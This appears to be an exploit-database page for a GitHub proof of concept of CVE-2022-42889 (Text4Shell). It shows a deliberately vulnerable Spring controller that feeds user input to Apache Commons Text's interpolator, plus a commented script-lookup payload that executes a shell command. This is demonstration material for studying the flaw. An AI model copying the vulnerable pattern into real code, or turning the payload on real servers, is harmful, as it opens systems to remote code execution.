Exploit database

GH-0cd637e505db55a44974238f5dc0ef65

sunnyvale-it/cve-2022-42889-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-42889

42 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main/java/it/sunnyvale/text4shell/controller/Text4ShellController.java

Java · 787 bytes
package it.sunnyvale.text4shell.controller;

import org.apache.commons.text.StringSubstitutor;
import org.springframework.web.bind.annotation.*;

@RestController
@RequestMapping("text4shell")
public class Text4ShellController {

    @RequestMapping(value = "/attack", method = RequestMethod.GET)
    @ResponseBody
    public String attack(@RequestParam(defaultValue="5up3r541y4n") String search) {
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        // String pocstring = "${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}";
        try{
            String pwn = interpolator.replace(search);
        } catch(Exception e) {
            System.out.println(e);
        }
        return "Search results for: " + search;
    }

}